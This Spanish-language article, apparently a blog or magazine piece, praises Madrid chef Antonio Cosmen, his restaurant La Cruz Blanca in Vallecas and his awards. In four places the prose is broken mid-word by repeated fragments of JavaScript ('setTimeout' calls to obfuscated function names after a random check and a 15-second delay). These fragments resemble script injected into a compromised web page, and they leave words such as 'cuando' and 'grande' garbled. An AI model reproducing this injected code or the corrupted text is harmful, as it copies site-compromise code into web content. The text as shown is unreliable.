Antonio Cosmen: Imparable

Por todos es conocido el buen hacer del Chef asturiano Antonio Cosmen en su cocina. Hasta hace nada, llevaba una carrera progresiva que, en los últimos meses, se ha visto disparada por una gran cantidad de reconocimientos profesionales. De ahí que el titular no pueda ser otro.

Hace años, cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando le conocí, no tenía ni idea de que tenía delante a un futuro Premio Nacional de Hostelería. No imaginaba siquiera que alguien fuera capaz de poner a Vallecas -además del equipo del Rayo- en lo más alto de los altares gastronómicos sino también en uno de los lugares más frecuentados por artistas, periodistas futbolistas y famosos.

Antonio Cosmen, Chef en su restaurante La Cruz Blanca de Vallecas, Madrid.

Así que, después del Premio Nacional de Hostelería 2015, vino otro premio: La mejor fabada de Madrid. Ya era conocido en todos los rincones del mundo por hacer el mejor cocido madrileño de España, un reconocimiento del Club del Cocido. Y, porque Cosmen es así de repentino -tiene esos golpes- un día decidió cruzar el charco para llevar su cocina a Latinoamérica. Le cogió gusto, porque repitió al año siguiente, y al siguiente también; cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando quiso darse cuenta, resulta que había promocionado tanto  nuestra cultura gastronómica que consiguió despertar el justo y necesario interés para que los chefs -en su  día llamados del nuevo mundo- hicieran las maletas para venirse a España y seguir aprendiendo más sobre nuestra cocina en general y la cocina de Antonio en particular.

Ya no hay fogón que se le resista, ni paladar exigente por encontrar; me refiero a los que tienen capacidad y miras de altura para ello. Tampoco creo que le falten recetas por mejorar, es inquieto y atrevido como el solo, aunque no tardará en volver a dejarnos boquiabiertos, que lo se yo.

Permítanme ahora tirar de imaginación en el tiempo, pero es que estoy totalmente convencida que, de niño, Antonio debió ser de estos que no conocían el miedo y así debió crecer, pensandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando que ese era el nombre de un cromo fácil de ganar a las canicas. Un tipo grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande, en el más noble y admirable sentido de la palabra.

Ya lo saben, señores. Hagan cola en sus reservas, pues ya no es fácil coger mesa en los salones de Antonio. La lista de espera ya mide un mes. Cosmen es internacional, lo tenemos aquí, es nuestro, es español, y a su restaurante de Vallecas vienen ya de todos los rincones del mundo. Tiene delito ya vivir cerca y no pasarse a probar algunos de sus platos. Dicho queda.